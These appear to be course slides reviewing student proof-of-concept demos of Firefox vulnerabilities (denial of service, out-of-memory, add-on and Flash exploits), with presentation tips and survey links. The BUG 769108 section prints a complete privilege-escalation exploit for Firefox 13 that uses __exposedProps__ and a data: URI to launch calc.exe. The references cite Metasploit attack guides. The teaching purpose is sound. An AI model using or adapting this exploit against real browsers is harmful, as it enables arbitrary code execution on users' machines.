Firefox POCs

BUG 612029: Remote denial of Service POC

Actual POC comes from: BUG 833874

- Eats up memory!
- Notice no “unresponsive script” dialogue
- Firefox version 13
- In current firefox version -- warning + debug option, no out of memory error, no hang

BUG 769108: Escalation of Privilege

Open firefox 13

Open new tab

Open tab_POC.html

proposed fix

diff

Click anywhere.

```
<script>
if(history.length==1){alert('Open from a new tab, please')};
window.onclick=f;
function f(){
	window.open("data:text/html,%3Cscript%3Eopener.history.back();
setTimeout('f()',1000);function%20f()%7Bo=Object.getPrototypeOf(Object.
getPrototypeOf(opener));o.__exposedProps__=%7Bconstructor:'rw',create:'rw',
gGrid:'rw',_node:'rw',innerHTML:'rw'%7D;n=o.constructor.create(o.constructor.
create(opener).gGrid._node);n.innerHTML=%22%3Cimg%20src='http://foo'%
20onerror='f=Components.classes%5B%5C%22@mozilla.org/file/local;1%5C%
22%5D.createInstance(Components.interfaces.nsILocalFile);f.initWithPath(%
5C%22c:%5C%5C%5C%5CWindows%5C%5C%5C%5CSystem32%5C%5C%
5C%5Ccalc.exe%5C%22);f.launch()'%3E%22;%7D%3C/script%
3E","','width=451,height=451')
}
</script>
```

Out of Memory POC

- Basically loads a html file in v.21 that eats up a ton of memory and causes the browser to crash
- jump to 2 minute mark for crash

Add-on exploit POC

- Basically loads addon from localhost so that firefox pops up something when it restarts
- Please don’t make video too fast to see what’s going on!!

Add-on exploit POC 2

- Installed user add-on executes -- social engineering

Flash Plugin Exploit POC

A Few Suggestions...

- Give a high-level overview (i.e. bug, attack, expected behavior, actual behavior) BEFORE your demo!

- If your POC involves an html file, you might consider briefly showing the interesting part of it

- Please try not to rush through the steps!

Section AB (1:30): Please fill this out!

https://uw.iasystem.org/survey/136326

Section AA (2:30): Please fill this out!

https://uw.iasystem.org/survey/136325

References

- http://www.binarytides.com/hack-remote-windows-machines-with-metasploit-java-signed-applet-method/
- http://www.offensive-security.com/metasploit-unleashed